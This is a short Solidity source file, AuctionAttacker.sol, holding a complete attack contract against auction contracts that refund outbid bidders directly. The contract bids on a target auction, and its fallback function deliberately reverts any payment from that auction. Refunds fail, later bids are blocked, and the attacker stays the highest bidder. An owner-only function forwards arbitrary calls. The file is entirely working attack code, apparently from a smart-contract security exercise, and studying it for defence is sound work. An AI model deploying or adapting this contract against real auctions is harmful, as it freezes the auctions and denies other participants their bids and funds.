AuctionAttacker.sol

pragma solidity 0.4.24;

contract Auction {
    function bid() payable public;
}


contract AuctionAttacker {
    address owner;
    address auction;
    constructor() public {
        owner = msg.sender;
    }
    
    
    function bid(Auction _auction) public payable {
        require(msg.sender == owner);
        require(uint(auction) == 0x0);
        auction = _auction;
        _auction.bid.value(msg.value)();
    }
    
    function () public payable {
        assert(msg.sender != auction);
    }
    
    function execute(address _dst, uint _value, bytes _data) public {
        require(msg.sender == owner);
        _dst.call.value(_value)(_data);
    }

}